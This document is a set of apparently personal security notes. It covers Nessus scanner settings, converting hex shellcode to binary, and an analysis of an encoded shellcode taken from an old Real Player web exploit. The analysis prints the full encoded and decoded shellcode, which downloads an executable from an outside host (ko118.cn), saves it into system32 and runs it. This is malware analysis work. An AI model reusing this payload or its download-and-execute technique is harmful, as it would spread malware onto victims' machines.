Issues & features of Nessus

1, Intrusive or Non-Intrusive
- "Safe Mode" (Nessus)
- Qualys will only use non-intrusive

2, "Don't scan fragile devices" - Nessus
- Printers
- NetWare

3, "Do not log in with user accounts not specified in the policy" - Nessus
- To prevent users being locked out if there is locking out policy

4, Scan to internal from outside or inside. (But avoid scan outside from internal if possible - Qualys says)

5, "Enable experimental scripts" - (Nessus: Do not enable this setting while scanning a production network.)

6, Scan options which might cause long time (Nessus):
- Thorough test (slow)
- CGI test

7, "Report paranoia" - Nessus
- This setting determines if "Avoid false alarm"

8, Nessus support communicating with various Vendor products to:
- Gether information of assets
- Scan their policy files to do compliance check (e.g. Cisco IOS, Juniper OS, Huawei)

9, The “HTTP login page” settings provide control over where authenticated testing of a custom web-based application begins - Nessus

10, Nessus checks system hosts files for signs of a compromise

11, The “Malicious Process Detection” menu allows you to specify a list of additional MD5 hashes that Nessus will use to scan a system for known malware, as well as a list of known good hashes to reduce false positives.

12, Scan if not available:
- Scan or not if host not discoverable (enable ping)
- Scan closed ports? ("Ignore closed ports")

13, Plugins might need to provide some information to proceed, e.g.:
+ Login password
- AD, Ldap
- HTTP cookie
- Database login (then it is similar to previous ISS database scanner!)
- Known malicious or benigh file hashes

14, Nessus can leverage credentials for patch management system like WSUS to perform patch auditing on systems for which credentials may not be available to the Nessus scanner

15, The “Ping the remote host” options allow for granular control over Nessus’ ability to ping hosts during discovery scanning. This can be done via ARP ping, TCP ping, ICMP ping, or applicative UDP ping.

16, To scan VMware guest systems, “ping” must disabled. In the scan policy under “Advanced” -> “Ping the remote host”, uncheck TCP, ICMP, and ARP ping. (--why??)

17，Check open TCP ports found by local port enumerators If a local port enumerator (e.g., WMI or netstat) finds a port, Nessus will also verify it is open remotely. This helps determine if some form of access control is being used (e.g., TCP wrappers, firewall).

18, The “Remote web server screenshot” menu enables Nessus to take screenshots to better demonstrate some findings. This includes some services (e.g., VNC, RDP) as well as configuration specific options (e.g., web server directory indexing)

19, Under the “SMB Scope” menu, if the option “Request information about the domain” is set, then domain users will be queried instead of local users.

20, The “SMTP settings” menu specifies options for SMTP (Simple Mail Transport Protocol) tests that run on all devices within the scanned domain that are running SMTP services. E.g. to test relay.

21, "Enable web applications tests"

Comparison of Vulnerability Scanners

Qualys:

All vulnerability tests performed by QualysGuard are non-intrusive in design, architecture and implementation. Their objective is to assess a target system with no impact on its operation or functions to determine if vulnerabilities exist.

Convert hex shellcode to binary mode

To convert hex shellcode to binary files, a couple of easy ways can do that. Say we have hex mode strings below:

\x38\x12\x08\xab

• Bash:

echo -ne "\x38\x12\x08\xab" > b.bin

•  Perl:

perl -e 'print "\x38\x12\x08\xab"' > p.bin 

• online tools such as http://sandsprite.com/shellcode_2_exe.php

 VI could be used to edit the hex of the binary files with ":%!xxd". But actually VI doesn't support hex edit, what it does is just redirect it to xxd command. However, the xxd command might add a newline character, "\n"(ASCII 0A) at the end.

On the screenshot above, the "\x0a" was added by xxd command, if it was opened with a hex editor, it didn't exist. To save the modification, need to convert it back from Hexdump first, ":%!xxd -r", and then save it.

The python command below could also convert hex to binary file, but the annoying thing is it will add a newline character, "\n"(ASCII 0A) at the end of the file. Haven't figured out how to avoid it yet.

python -c 'print "\x38\x12\x08\xab"' >py.bin

Decode the shell code encoded by Alpha2

This is an old JavaScript exploit code within a web page was targeting Real player, and it contained shellcode that was encoded.

A little Google search indicated it was an open source encoding program for shellcode, Alpha2 , which source code was available. According to the source code, the strings below were prefix to the encoded shellcode and should be removed when decoding it.

"TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body

mixedcase_ascii_decoder_body   "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"

Then we got the shellcode below:

xkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnRK0o6QVQ08Tne3pnTo1htnqu2XPeMPGp 

Since the source code was available, I wrote a small program in C to decode it:

 #include <stdio.h>
#include <stdlib.h>
int main(int argc, char argv[], char envp[]) {
  int   i, ii, A, B, D, E, F;
  char c;
  while ((i = getchar()) != EOF) {
        ii = getchar();
        D = (i & 0x0f);
        E = (ii & 0xf0) >> 4;
        F = (ii & 0x0f);
        A = D^E;
        B = F;
    printf("\\x%X%X", A, B);
  }
  exit(EXIT_SUCCESS);
}

After decoding, we could get the decoded shell code:

\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x66\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x8F\xB3\x66\x66\x66\x3C\x02\xC7\x56\x66\x66\x66\xED\x26\x6A\xED\x16\x7A\xCB\xED\x26\x6E\xED\xBE\xED\x15\x5A\xED\x12\x78\x1E\x65\x95\xED\x18\x46\x65\x9D\xED\x28\x72\x55\x8B\x30\x31\x37\xED\x59\x65\x9D\xED\x94\x0C\x68\x3F\x95\xC0\x12\x6E\x3F\x39\xE5\xA1\x62\x23\x84\x8F\x3F\x39\x38\xED\xAB\xED\x20\x42\x65\xA5\xB7\x87\x65\xA7\x55\xAF\x00\xED\x6E\xED\x20\x7A\x65\xA5\xA7\x87\x64\x65\xA7\xED\x66\x65\xA5\xED\x9C\xED\x91\xE5\xA0\x68\xED\xB6\x0C\x62\x3F\x8E\x36\x66\x66\x66\xE5\xA0\x6B\x34\x30\x99\x31\x9A\x3C\xED\xBE\x0C\x67\x3F\x8E\x5B\x66\x66\x66\xE5\xA0\x75\x30\x20\xE6\x58\xE6\x13\x9C\xE6\x50\xE6\x38\xE5\x8A\x46\xED\xBA\x0C\x46\x35\x99\x31\x8A\xA1\x62\x65\x3A\x07\x48\x03\xA1\x22\x65\x62\x1E\x03\x66\x66\x55\xA6\x36\x36\x35\x30\x36\x99\x31\x9A\xED\xBA\x36\x35\x99\x31\x96\x36\x99\x31\x92\x55\xA6\xCA\xE3\xA6\x13\x9F\x37\x34\x30\x35\x99\xB4\x3C\x3F\xCD\x84\x88\x55\xA6\xA5\x8E\x40\x99\x99\x99\x21\x03\x12\x36\x14\x09\x05\x27\x02\x02\x14\x03\x15\x15\x66\x21\x03\x12\x35\x1F\x15\x12\x03\x0B\x22\x0F\x14\x03\x05\x12\x09\x14\x1F\x27\x66\x31\x0F\x08\x23\x1E\x03\x05\x66\x23\x1E\x0F\x12\x32\x0E\x14\x03\x07\x02\x66\x2A\x09\x07\x02\x2A\x0F\x04\x14\x07\x14\x1F\x27\x66\x13\x14\x0A\x0B\x09\x08\x66\x33\x34\x2A\x22\x09\x11\x08\x0A\x09\x07\x02\x32\x09\x20\x0F\x0A\x03\x27\x66\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6B\x6F\x31\x31\x38\x2E\x63\x6E\x2F\x78\x2E\x65\x78\x65\x80\x00 

 This could be converted to an executable file with shellcode_2_exe, and then run the executable on Ollydbg. As we can see, the shell code was still encrypted, and the first thing it would do was to decode the other part of the codes, 13CH bytes(from 00401017) totally, by “XOR 66H".

Then we got the decrypted shell code. The remaining shell code would call the function UrlDownloadToFile to download a file from http://www.ko118.cn/x.exe and save it to C:\WINDOWS\system32\a.exe, and then call WinExec to run the file a.exe.

The a.exe probably was a downloader which would download more trojans from the Internet.